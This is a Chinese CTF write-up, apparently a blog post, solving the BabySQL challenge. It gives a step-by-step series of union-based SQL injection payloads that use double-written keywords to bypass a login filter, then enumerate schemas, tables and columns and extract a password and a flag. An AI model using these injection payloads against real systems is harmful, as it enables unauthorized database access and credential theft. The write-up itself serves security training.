[极客大挑战 2019]BabySQL 1

[极客大挑战 2019]BabySQL 1

打开实例,源代码审计,发现登录请求check.php页面路径,采用get方法

image-20241105124220171

根据题目可知这是sql注入,尝试万能密码无果

?username=admin' or 1=1 --+&password=admin

image-20241105124712196

尝试order by、堆叠注入和union联合注入,发现都无效,怀疑字段被过滤(这边基本确定or被过滤)

image-20241105125130896image-20241105125232422image-20241105125326694image-20241105125904341

尝试双写绕过,成功绕过

?username=admin' ununionion seselectlect 1,2,3%23&password=1

image-20241105130056480

确定回显点为2,3

?username=1' ununionion seselectlect 1,2,3%23&password=1

image-20241105130205873

爆库,from和infomation被过滤,双写绕过,发现数据库geek和ctf

?username=1' ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata%23&password=1

image-20241105132704367

爆表

image-20241105131023356

双写绕过payload

?username=1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema="geek"%23&password=1

获得数据表b4bsql,geekuser,双写爆字段

?username=1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'%23&password=1

image-20241105131809412

查表数据,发现password也被过滤

?username=1' ununionion seselectlect 1,2,concat(id,username,password) frfromom b4bsql%23&password=1

image-20241105132246980

双写绕过

?username=1' ununionion seselectlect 1,2,concat(passwoorrd) frfromom b4bsql%23&password=1

image-20241105132335664

获得password: i_want_to_play_2077,提交发现不是正确的flag,转向ctf表

?username=1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema="ctf"%23&password=1

发现Flag表

image-20241105133037620

爆字段,发现flag字段

?username=1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag'%23&password=1

image-20241105133146776

查表,显示当前不在数据库ctf中

?username=1' ununionion seselectlect 1,2,concat(flag) frfromom Flag%23&password=1

image-20241105133339777

小改一波,flag到手

?username=1' ununionion seselectlect 1,2,concat(flag) frfromom ctf.Flag%23&password=1

手**

?username=1' ununionion seselectlect 1,2,concat(flag) frfromom ctf.Flag%23&password=1

image-20241105133429661

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

成为别人口中的IT高手

写文章不容易,充充电吧~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值